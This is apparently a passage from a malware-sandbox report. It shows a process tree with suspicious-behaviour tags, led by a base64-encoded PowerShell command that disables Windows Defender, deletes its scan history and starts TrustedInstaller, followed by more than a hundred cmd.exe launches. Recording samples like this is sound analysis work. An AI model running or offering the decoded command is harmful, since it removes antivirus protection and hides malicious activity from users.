AcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                        4⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:3328
                        • C:\Windows\system32\sc.exe
                          "C:\Windows\system32\sc.exe" qc windefend
                          5⤵
                          • Launches sc.exe
                          PID:1972
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                          5⤵
                            PID:4036
                          • C:\Windows\system32\whoami.exe
                            "C:\Windows\system32\whoami.exe" /groups
                            5⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1680
                          • C:\Windows\system32\net1.exe
                            "C:\Windows\system32\net1.exe" start TrustedInstaller
                            5⤵
                              PID:3904
                            • C:\Windows\system32\net1.exe
                              "C:\Windows\system32\net1.exe" start lsass
                              5⤵
                                PID:3132
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe"
                              4⤵
                                PID:4740
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe"
                                4⤵
                                  PID:4068
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe"
                                  4⤵
                                    PID:4604
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe"
                                    4⤵
                                      PID:2016
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe"
                                      4⤵
                                        PID:3020
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe"
                                        4⤵
                                          PID:756
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe"
                                          4⤵
                                            PID:3480
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe"
                                            4⤵
                                              PID:3576
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe"
                                              4⤵
                                                PID:3864
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe"
                                                4⤵
                                                  PID:5108
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe"
                                                  4⤵
                                                    PID:4392
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe"
                                                    4⤵
                                                      PID:2080
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe"
                                                      4⤵
                                                        PID:4128
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe"
                                                        4⤵
                                                          PID:2908
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe"
                                                          4⤵
                                                            PID:1008
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe"
                                                            4⤵
                                                              PID:2012
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe"
                                                              4⤵
                                                                PID:228
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe"
                                                                4⤵
                                                                  PID:4632
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe"
                                                                  4⤵
                                                                    PID:4896
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe"
                                                                    4⤵
                                                                      PID:4288
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe"
                                                                      4⤵
                                                                        PID:4540
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe"
                                                                        4⤵
                                                                          PID:4704
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe"
                                                                          4⤵
                                                                            PID:4252
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe"
                                                                            4⤵
                                                                              PID:2548
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe"
                                                                              4⤵
                                                                                PID:804
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe"
                                                                                4⤵
                                                                                  PID:4920
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                  4⤵
                                                                                    PID:3380
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                    4⤵
                                                                                      PID:456
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                      4⤵
                                                                                        PID:448
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                        4⤵
                                                                                          PID:328
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                          4⤵
                                                                                            PID:3252
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                            4⤵
                                                                                              PID:4412
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                              4⤵
                                                                                                PID:3992
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                4⤵
                                                                                                  PID:5036
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                  4⤵
                                                                                                    PID:2044
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                    4⤵
                                                                                                      PID:400
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                      4⤵
                                                                                                        PID:1588
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                        4⤵
                                                                                                          PID:3708
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                          4⤵
                                                                                                            PID:4256
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                            4⤵
                                                                                                              PID:2748
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                              4⤵
                                                                                                                PID:5144
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                4⤵
                                                                                                                  PID:5208
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                  4⤵
                                                                                                                    PID:5248
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                    4⤵
                                                                                                                      PID:5288
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                      4⤵
                                                                                                                        PID:5336
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                        4⤵
                                                                                                                          PID:5376
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                          4⤵
                                                                                                                            PID:5424
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                            4⤵
                                                                                                                              PID:5468
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                              4⤵
                                                                                                                                PID:5528
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                4⤵
                                                                                                                                  PID:5564
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                  4⤵
                                                                                                                                    PID:5612
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                    4⤵
                                                                                                                                      PID:5664
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                      4⤵
                                                                                                                                        PID:5704
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                        4⤵
                                                                                                                                          PID:5776
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                          4⤵
                                                                                                                                            PID:5808
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                            4⤵
                                                                                                                                              PID:5864
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                              4⤵
                                                                                                                                                PID:5920
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                4⤵
                                                                                                                                                  PID:5952
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:6012
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:6068
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:6108
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:5308
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:3240
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1968
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                              4⤵
                                                                                                                                                                PID:4336
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:2316
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:5124
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:640
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:2912
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:6164
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:6212
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:6268
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:6308
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:6360
                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:6408
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:6448
                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:6488
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:6544
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:6584
                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:6632
                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:6696
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:6744
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:6792
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:6848
                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:6904
                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:6952
                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:6992
                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:7040
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:7084
                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:7128
                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:7164
                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:6468
                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:1812
                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:6472
                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5640
                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:7196
                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:7236
                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:7280
                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:7340
                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:7376
                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:7412
                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:7476
                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:7540
                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:7592
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:7640
                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:7684
                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:7736
                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:7772
                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:7808
                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:7848
                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:7900
                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:7948
                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:8020
                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:8068
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:8100
                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:8164
                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:7304
                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:7656
                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:8208
                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:8248
                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:8304
                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:8336
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:8392
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:8456
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:8484
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:8516
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:8576
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:8624
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:8688
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:8744
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:8784
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:8824
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:8868
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:8908
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:8964
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:9024
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:9072
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:9108
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:9156
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe"
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:8220
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
